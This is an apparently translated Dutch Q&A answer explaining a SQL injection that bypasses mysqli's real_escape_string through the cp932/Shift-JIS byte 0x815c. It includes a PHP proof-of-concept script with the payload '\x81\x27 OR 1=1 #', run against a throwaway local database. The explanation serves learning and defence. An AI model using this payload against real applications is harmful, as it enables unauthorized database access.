sql >> Database >  >> RDS >> Mysql

Hoe maak je een SQL-injectie-aanval met Shift-JIS en CP932?

De duivel zit in de details ... laten we beginnen met hoe in de vraag beantwoorden beschrijft de lijst met kwetsbare tekensets:

Dit geeft ons wat context - 0xbf5c wordt gebruikt als voorbeeld voor gbk , niet als het universele teken dat moet worden gebruikt voor alle 5 tekensets.
Het gebeurt zo dat dezelfde bytereeks ook een geldig teken is onder big5 en gb2312 .

Op dit punt wordt uw vraag zo eenvoudig als deze:

Om eerlijk te zijn, geven de meeste Google-zoekopdrachten die ik heb geprobeerd voor deze tekensets geen bruikbare resultaten. Maar ik vond dit CP932.TXT-bestand , waarin als u zoekt naar '5c ' (met de spatie daar), spring je naar deze regel:

En we hebben een winnaar! :)

Een Oracle-document bevestigt dat 0x815c is hetzelfde teken voor beide cp932 en sjis en PHP herkent het ook:

php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));
int(1)
int(1)

Hier is een PoC-script voor de aanval:

<?php
$username = 'username';
$password = 'password';

$mysqli = new mysqli('localhost', $username, $password);
foreach (array('cp932', 'sjis') as $charset)
{
        $mysqli->query("SET NAMES {$charset}");
        $mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
        $mysqli->query("USE {$charset}_db");
        $mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
        $mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')");

        $input = "\x81\x27 OR 1=1 #";
        $input = $mysqli->real_escape_string($input);
        $query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1";
        $result = $mysqli->query($query);
        if ($result->num_rows > 1)
        {
                echo "{$charset} exploit successful!\n";
        }

        $mysqli->query("DROP DATABASE {$charset}_db");
}



  1. Productvarianten modelleren

  2. MySQL-database herstellen vanuit fysieke bestanden

  3. Snel script dat alle eigenschappen van SERVERPROPERTY() retourneert in SQL Server 2017/2019

  4. Een nieuwe database en nieuwe verbinding maken in Oracle SQL Developer